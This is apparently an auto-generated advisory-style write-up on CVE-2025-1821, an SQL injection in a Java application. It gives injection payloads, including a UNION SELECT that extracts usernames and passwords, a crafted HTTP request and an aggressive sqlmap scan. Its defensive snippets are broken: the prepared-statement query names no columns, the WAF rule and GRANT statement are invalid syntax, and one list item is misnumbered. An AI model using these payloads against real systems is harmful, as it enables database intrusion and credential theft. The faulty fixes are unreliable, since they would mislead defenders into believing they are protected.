How CVE-2025-1821 Works
The vulnerability exists in the `getUserOrgForUserId` function within ZorgAction.java, where improper sanitization of the `userID` parameter allows SQL injection. Attackers can craft malicious SQL queries through this parameter, enabling unauthorized database access, data exfiltration, or command execution. The flaw is remotely exploitable without authentication, making it critical. The lack of input validation and prepared statements in the code exposes the application to injection attacks.

Platform: zj1983 zz
Version: <= 2024-8
Vulnerability: SQL Injection
Severity: Critical
Date: 05/25/2025
Prediction: Patch by 2025-07-15
What Undercode Say:
Exploitation
1. Craft Malicious Payload:
' OR 1=1; --
2. Send Exploit via HTTP Request:
GET /api/zorg?userID=1'%20OR%201=1;-- HTTP/1.1
3. Exfiltrate Data:
' UNION SELECT username, password FROM users; --
Protection

if (!userID.matches("[0-9]+")) throw new IllegalArgumentException();
2. Use Prepared Statements:
String query = "SELECT FROM orgs WHERE user_id = ?"; PreparedStatement stmt = conn.prepareStatement(query); stmt.setString(1, userID);
3. WAF Rules:
location /api/zorg {
deny '|union|select|--|';
}
Detection
1. Log Analysis:
grep "union.select" /var/log/zj1983/access.log
2. SQLi Scanning:
sqlmap -u "http://target/api/zorg?userID=1" --risk=3
Mitigation
1. Patch Application:
wget https://vendor.com/patches/CVE-2025-1821.zip unzip CVE-2025-1821.zip ./apply_patch.sh
2. Database Hardening:
REVOKE ALL PRIVILEGES FROM 'app_user'@'%'; GRANT SELECT ONLY ON app_db. TO 'app_user'@'%';
